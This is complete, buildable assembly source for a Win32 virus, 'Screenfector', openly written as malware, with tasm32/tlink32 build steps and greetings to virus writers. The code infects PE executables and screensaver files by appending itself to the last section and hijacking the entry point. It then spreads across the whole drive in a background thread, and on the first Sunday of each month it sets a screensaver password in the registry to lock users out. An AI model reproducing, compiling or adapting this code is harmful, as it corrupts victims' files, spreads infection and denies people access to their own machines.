; Å-----------
;    Win32.Screenfector by MalFunction
;
; hi out there! this is my first little win32 infector. there's nothing
; special at it, no new technique, no new way of infecting. yes, it is
; a very poor coded direct action infector. :(
; BUT: have you ever heard of mcafee's silly feature 'scanning while
; the screensaver runs'?
; this virus is the answer to that feature. an infected exe-file
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
; an infected scr-file will create a new thread for infecting and then
; immediately return to the host. the created thread infectz the whole
; HD usin' a dir traversal. i know it's slow and makes the user
; suspicious, but it's funny: a virus that infectz during the screensaver ...
;                                                          -------Å
; thanx 'n' greetz:
; -----------------
;
; Wang_E: i'm sure that u'll have yer own OS one day.
;         thx for all da help, my friend!
; BlackArt: yeah, I'm still codin' that trojan ...
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
;            Blind Guardian geh”rt? ;)
; Benny/29A: all yer tutes in 29a#4 rox!
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
;
;
; compile with: tasm32.exe /m9 /ml screenf.asm
;               tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
;               pewrite.exe screenf.exe
;
;               (PEWrite is part of Lord Julus' VX-tasy#1)


.386
.model flat

        extrn MessageBoxA:proc
        extrn ExitProcess:proc
        extrn GetProcAddress:proc
        extrn GetModuleHandleA:proc

.data
        dummy_title DB "senseless dummy prog v1.01",0
        dummy_msg   DB "dummy prog carrying a little win32 infector...",0

.code

dummy:
        push 0                                  ; just a dummy ...
        push offset dummy_title
        push offset dummy_msg
        push 0
        call MessageBoxA

        push 0
        call ExitProcess

        v_size = v_end - v_start

v_start:                                        ; gimme that delta
        call delta
delta:
        pop ebp
        jmp over_var                            ; variables part I

        filehandle DD ?
        maphandle DD ?
        mapaddr DD ?
        mapsize DD ?

        keyhandle DD ?
        value1 DD 1

        hmodule DD ?
        oldEIP DD ?
        filealign DD ?

        k32name DB "KERNEL32",0
        advapiname DB "ADVAPI32",0
        procsfound DB 0

        searchmask DB "*.SCR",0
        wildcard DB "*.*",0
        root DB '\',0
        nested DB 0
        dotdot DB "..",0

        fnhandle DD ?
        fnhandle2 DD ?

        threadID DD ?

        _alloc DD ?

        ptrGetProcAddress   DD ?
        ptrGetModuleHandleA DD ?

        filetype DB 'E'

        _GetProcAddress   DB "GetProcAddress",0
        _GetModuleHandleA DB "GetModuleHandleA",0

APIs:
        GetWindowsDirectoryA DD ?
        GetCurrentDirectoryA DD ?
        SetCurrentDirectoryA DD ?
        GetSystemDirectoryA DD ?
        GetCommandLineA DD ?
        GetSystemTime DD ?
        ExitThread DD ?
        CreateThread DD ?
        CloseHandle DD ?
        UnmapViewOfFile DD ?
        MapViewOfFile DD ?
        SetFileAttributesA DD ?
        CreateFileMappingA DD ?
        CreateFileA DD ?
        FindNextFileA DD ?
        FindFirstFileA DD ?
        VirtualAlloc DD ?
        LoadLibraryA DD ?

        RegSetValueExA DD ?

over_var:
        DB 0b8h  ; mov eax,imm32                ; save old EIP
        oldEIP2 DD offset dummy
        mov [ebp+oldEIP-delta],eax

        DB 0b8h  ; mov eax,imm32                ; trace to import table
        baseaddress DD 00400000h        
        add eax,[eax+3ch]
        add eax,80h
        mov eax,[eax]
        add eax,[ebp+baseaddress-delta]
import1:
        cmp dword ptr [eax],0                   ; last import descriptor?
        jz quit

        mov esi,[eax+0Ch]
        add esi,[ebp+baseaddress-delta]

        lea edi,[ebp+k32name-delta]             ; is it kernel32?
        push 2
        pop ecx
        rep cmpsd
        jz import2
        add eax,14h
        jmp import1

import2:
        mov ebx,[eax]                           ; search for the needed API
        mov edx,[eax+10h]                       ; addresses ...
        add ebx,[ebp+baseaddress-delta]
        add edx,[ebp+baseaddress-delta]

import3:
        cmp dword ptr [ebx],0
        jz no_more_imp

        mov esi,[ebx]
        add esi,[ebp+baseaddress-delta]
        inc esi
        inc esi
        push esi

        lea edi,[ebp+_GetProcAddress-delta]     ; is it GetProcAddress?
        push 14
        pop ecx
        rep cmpsb
        jnz no_store1
        mov edi,[edx]
        mov [ebp+ptrGetProcAddress-delta],edi
        inc byte ptr [ebp+procsfound-delta]

no_store1:
        lea edi,[ebp+_GetModuleHandleA-delta]   ; is it GetModuleHandleA?
        push 4
        pop ecx
        pop esi
        rep cmpsd
        jnz no_store2
        mov edi,[edx]
        mov [ebp+ptrGetModuleHandleA-delta],edi
        inc byte ptr [ebp+procsfound-delta]

no_store2:
        add ebx,4
        add edx,4
        jmp import3
       
no_more_imp:
        cmp byte ptr [ebp+procsfound-delta],2   ; both APIaddresses found?
        jnz quit
        mov byte ptr [ebp+procsfound-delta],0

        lea eax,[ebp+k32name-delta]             ; gimme k32 base
        push eax
        call [ebp+ptrGetModuleHandleA-delta]
        mov [ebp+hmodule-delta],eax

        push 18
        pop ecx
        lea edi,[ebp+APIs-delta]
        lea esi,[ebp+ptr_table-delta]
get_APIs:                                       ; retrieve all needed APIz
        lodsd
        add eax,ebp
        sub eax,offset delta
        push ecx
        push edi
        push esi
        push eax
        push dword ptr [ebp+hmodule-delta]
        call [ebp+ptrGetProcAddress-delta]
        pop esi
        pop edi
        pop ecx
        test eax,eax
        jz quit
        stosd
        loop get_APIs

        push 40h                                ; allocate 1000 bytes
        push 1000h
        push 1000
        push 0
        call [ebp+VirtualAlloc-delta]
        test eax,eax
        jz quit
        mov [ebp+_alloc-delta],eax

        add eax,580                             ; get system time
        push eax
        push eax
        call [ebp+GetSystemTime-delta]
        pop eax
        cmp word ptr [eax+4],0                  ; sunday?
        jnz no_payload
        cmp word ptr [eax+6],7                  ; 1st sunday of month?
        ja no_payload

        lea eax,[ebp+advapiname-delta]          ; load advapi32.dll
        push eax
        call [ebp+LoadLibraryA-delta]
        test eax,eax
        jz no_payload

        push eax                                ; get RegOpenKeyExA address
        lea ebx,[ebp+_RegOpenKeyExA-delta]
        push ebx
        push eax
        call [ebp+ptrGetProcAddress-delta]

        lea ebx,[ebp+keyhandle-delta]           ; open the reg key
        push ebx
        push 001f0000h
        push 0
        lea ebx,[ebp+regkey-delta]
        push ebx
        push 80000001h
        call eax

        pop eax                                 ; get RegSetValueExA address
        lea ebx,[ebp+_RegSetValueExA-delta]
        push ebx
        push eax
        call [ebp+ptrGetProcAddress-delta]
        mov [ebp+RegSetValueExA-delta],eax

        push 25                                 ; set screensaver pwd
        lea ebx,[ebp+value2-delta]
        push ebx
        push 3
        push 0
        lea ebx,[ebp+value2name-delta]
        push ebx
        push dword ptr [ebp+keyhandle-delta]
        call eax

        push 4                                  ; enable screensaver pwd
        lea eax,[ebp+value1-delta]
        push eax
        push 4
        push 0
        lea eax,[ebp+value1name-delta]
        push eax
        push dword ptr [ebp+keyhandle-delta]
        call [ebp+RegSetValueExA-delta]

no_payload:
        mov eax,[ebp+_alloc-delta]              ; get current dir
        add eax,320
        push eax
        push 260
        call [ebp+GetCurrentDirectoryA-delta]

        cmp byte ptr [ebp+filetype-delta],'E'   ; is an EXE or a SCR executed?
        jnz screen_save

its_exe:
        mov dword ptr [ebp+searchmask+1-delta],'RCS.'   ; set for findfile
        mov byte ptr [ebp+filetype-delta],'S'

        mov eax,[ebp+_alloc-delta]              ; infect windoze dir
        push eax
        push 320
        push eax
        call [ebp+GetWindowsDirectoryA-delta]
        call [ebp+SetCurrentDirectoryA-delta]
        call infect_dir

        mov eax,[ebp+_alloc-delta]              ; infect windoze\system dir
        push eax
        push 320
        push eax
        call [ebp+GetSystemDirectoryA-delta]
        call [ebp+SetCurrentDirectoryA-delta]
        call infect_dir

        mov eax,[ebp+_alloc-delta]              ; go to old dir
        add eax,320
        push eax
        call [ebp+SetCurrentDirectoryA-delta]

quit:
        jmp [ebp+oldEIP-delta]                  ; jmp to host

screen_save:
        mov dword ptr [ebp+searchmask+1-delta],'EXE.'   ; set for findfile
        mov byte ptr [ebp+filetype-delta],'E'

        call [ebp+GetCommandLineA-delta]        ; get CommandLine
        mov edi,eax
        xor eax,eax
get_end:
        scasb
        jnz get_end

        cmp byte ptr [edi-2],'s'                ; was the parameter /s ?
        jz run_it                               ; (we don't want to infect
        cmp byte ptr [edi-2],'S'                ;  when scr is configurated)
        jz run_it
        jmp quit

run_it:
        mov [ebp+save_ebp-delta],ebp            ; save EBP for new thread

        lea eax,[ebp+threadID-delta]            ; create the infection thread
        push eax
        push 0
        push 0
        lea eax,[ebp+myThread-delta]
        push eax
        push 0
        push 0
        call [ebp+CreateThread-delta]

        jmp quit                                ; return to host

myThread:
        DB 0bdh    ; mov ebp,imm32              ; get delta handle
        save_ebp DD ?

        lea eax,[ebp+root-delta]                ; set root dir as current dir
        push eax
        call [ebp+SetCurrentDirectoryA-delta]

        call dirtrav                            ; INFECT!

        push 0
        call [ebp+ExitThread-delta]             ; exit the thread

dirtrav:
        call infect_dir                         ; infect directory

        push dword ptr [ebp+_alloc-delta]       ; find dir
        lea eax,[ebp+wildcard-delta]
        push eax
        call [ebp+FindFirstFileA-delta]
        push eax
        inc eax
        jz check_root
        dec eax
        mov [ebp+fnhandle-delta],eax
        jmp test_if_dir

findnextdir:
        push dword ptr [ebp+_alloc-delta]       ; find next dir
        push dword ptr [ebp+fnhandle-delta]
        call [ebp+FindNextFileA-delta]
        test eax,eax
        jz check_root

test_if_dir:
        mov eax,[ebp+_alloc-delta]
        test dword ptr [eax],10h                ; is it a directory?
        jz findnextdir
        mov eax,[ebp+_alloc-delta]
        add eax,44
        cmp byte ptr [eax],'.'                  ; is it '.' or '..'?
        jz findnextdir

        push eax
        call [ebp+SetCurrentDirectoryA-delta]   ; go to found dir
        inc byte ptr [ebp+nested-delta]
        call dirtrav                            ; recursive!
        mov eax,[esp]
        mov [ebp+fnhandle-delta],eax
        jmp findnextdir

check_root:
        cmp byte ptr [ebp+nested-delta],0       ; are we at root?
        jz end_trav

        lea eax,[ebp+dotdot-delta]              ; go to '..'
        push eax
        call [ebp+SetCurrentDirectoryA-delta]
        dec byte ptr [ebp+nested-delta]
end_trav:
        add esp,4
        ret

infect_dir:
        push dword ptr [ebp+_alloc-delta]       ; find a file
        lea eax,[ebp+searchmask-delta]
        push eax
        call [ebp+FindFirstFileA-delta]
        inc eax
        jz no_more_filez
        dec eax
        mov [ebp+fnhandle2-delta],eax
        jmp infect_file

findnextfile:
        push dword ptr [ebp+_alloc-delta]       ; find next file
        push dword ptr [ebp+fnhandle2-delta]
        call [ebp+FindNextFileA-delta]
        test eax,eax
        jz no_more_filez       

infect_file:
        xor edx,edx
        mov eax,[ebp+_alloc-delta]
        mov eax,[eax+32]
        mov ecx,201
        div ecx
        test edx,edx
        jz findnextfile                         ; already infected?
        mov eax,[ebp+_alloc-delta]              ; (fsize modulo 201 = 0)
        mov eax,[eax+32]
        add eax,v_size                          ; align fsize to 201 ...
        push eax
        xor edx,edx
        div ecx
        pop eax
        sub edx,201
        neg edx
        add eax,edx
        mov [ebp+mapsize-delta],eax             ; ... and save it

        push 80h                                ; clear file attributes
        mov eax,[ebp+_alloc-delta]
        add eax,44
        push eax
        call [ebp+SetFileAttributesA-delta]
        test eax,eax
        jz findnextfile

        push 0                                  ; open file
        push 80h
        push 3
        push 0
        push 0
        push 0C0000000h
        mov eax,[ebp+_alloc-delta]
        add eax,44
        push eax
        call [ebp+CreateFileA-delta]
        inc eax
        jz findnextfile
        dec eax
        mov [ebp+filehandle-delta],eax

        push 0                                  ; map file part I
        push dword ptr [ebp+mapsize-delta]
        push 0
        push 4
        push 0
        push eax
        call [ebp+CreateFileMappingA-delta]
        test eax,eax
        jz closefile
        mov [ebp+maphandle-delta],eax

        push dword ptr [ebp+mapsize-delta]      ; map file part II
        push 0
        push 0
        push 2
        push eax
        call [ebp+MapViewOfFile-delta]
        test eax,eax
        jz closefile
        mov [ebp+mapaddr-delta],eax

        cmp word ptr [eax],'ZM'                 ; EXE signature?
        jnz unmap
        add eax,[eax+3ch]
        mov edx,[ebp+mapaddr-delta]
        cmp eax,edx
        jnae unmap

        mov edi,[ebp+_alloc-delta]
        add edx,[edi+32]
        cmp eax,edx
        ja unmap
        cmp dword ptr [eax],00004550h           ; PE signature?
        jnz unmap

        mov edx,[eax+28h]                       ; save entrypoint
        mov [ebp+oldEIP2-delta],edx
        mov edx,[eax+34h]
        mov [ebp+baseaddress-delta],edx         ; save base address
        add [ebp+oldEIP2-delta],edx
        mov edx,[eax+3ch]                       ; save file alignment
        mov [ebp+filealign-delta],edx

        mov esi,[eax+74h]                       ; go to the last section header
        shl esi,3
        movzx ebx,word ptr [eax+6]
        dec ebx
        xchg eax,ebx
        imul eax,eax,28h
        lea esi,[esi+eax+78h]
        add esi,ebx

        or dword ptr [esi+24h], 0E0000020h      ; set characteristix

        add dword ptr [esi+8],v_size            ; correct VirtualSize
        mov eax,[esi+8]

        xor edx,edx                             ; calculate new RawSize
        mov ecx,[ebp+filealign-delta]
        div ecx
        test edx,edx
        jz no_inc
        inc eax
no_inc:
        mul ecx
        mov edx,eax
        sub edx,[esi+10h]
        add [ebx+50h],edx                       ; add increase to image size
        mov [esi+10h],eax                       ; save new RawSize

        push esi

        mov edi,[esi+8]                         ; prepare to copy virus
        add edi,[esi+14h]
        sub edi,v_size
        add edi,[ebp+mapaddr-delta]

        mov ecx,v_size                          ; copy it!
        lea esi,[ebp+v_start-delta]
        rep movsb

        pop esi                                 ; save new entrypoint
        mov edi,[esi+8]
        add edi,[esi+0ch]
        sub edi,v_size
        mov [ebx+28h],edi

unmap:
        push dword ptr [ebp+mapaddr-delta]      ; unmap file
        call [ebp+UnmapViewOfFile-delta]

closefile:
        push dword ptr [ebp+filehandle-delta]   ; and close it
        call [ebp+CloseHandle-delta]

        mov eax,[ebp+_alloc-delta]              ; restore old attribs
        push eax
        add eax,44
        push eax
        call [ebp+SetFileAttributesA-delta]

        jmp findnextfile

no_more_filez:
        ret
                                                ; variables part II
APInames:
        _GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
        _GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
        _SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
        _GetSystemDirectoryA DB "GetSystemDirectoryA",0
        _GetCommandLineA DB "GetCommandLineA",0
        _GetSystemTime DB "GetSystemTime",0
        _ExitThread DB "ExitThread",0
        _CreateThread DB "CreateThread",0
        _CloseHandle DB "CloseHandle",0
        _UnmapViewOfFile DB "UnmapViewOfFile",0
        _MapViewOfFile DB "MapViewOfFile",0
        _SetFileAttributesA DB "SetFileAttributesA",0
        _CreateFileMappingA DB "CreateFileMappingA",0
        _CreateFileA DB "CreateFileA",0
        _FindNextFileA DB "FindNextFileA",0
        _FindFirstFileA DB "FindFirstFileA",0
        _VirtualAlloc DB "VirtualAlloc",0
        _LoadLibraryA DB "LoadLibraryA",0

        _RegSetValueExA DB "RegSetValueExA",0
        _RegOpenKeyExA DB "RegOpenKeyExA",0

ptr_table:
        DD offset _GetWindowsDirectoryA
        DD offset _GetCurrentDirectoryA
        DD offset _SetCurrentDirectoryA
        DD offset _GetSystemDirectoryA
        DD offset _GetCommandLineA
        DD offset _GetSystemTime
        DD offset _ExitThread
        DD offset _CreateThread
        DD offset _CloseHandle
        DD offset _UnmapViewOfFile
        DD offset _MapViewOfFile
        DD offset _SetFileAttributesA
        DD offset _CreateFileMappingA
        DD offset _CreateFileA
        DD offset _FindNextFileA
        DD offset _FindFirstFileA                                                    
        DD offset _VirtualAlloc
        DD offset _LoadLibraryA

        regkey DB "Control Panel\desktop",0
        value1name DB "ScreenSaveUsePassword",0
        value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
               DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
        value2name DB "ScreenSave_Data",0

v_end:

end v_start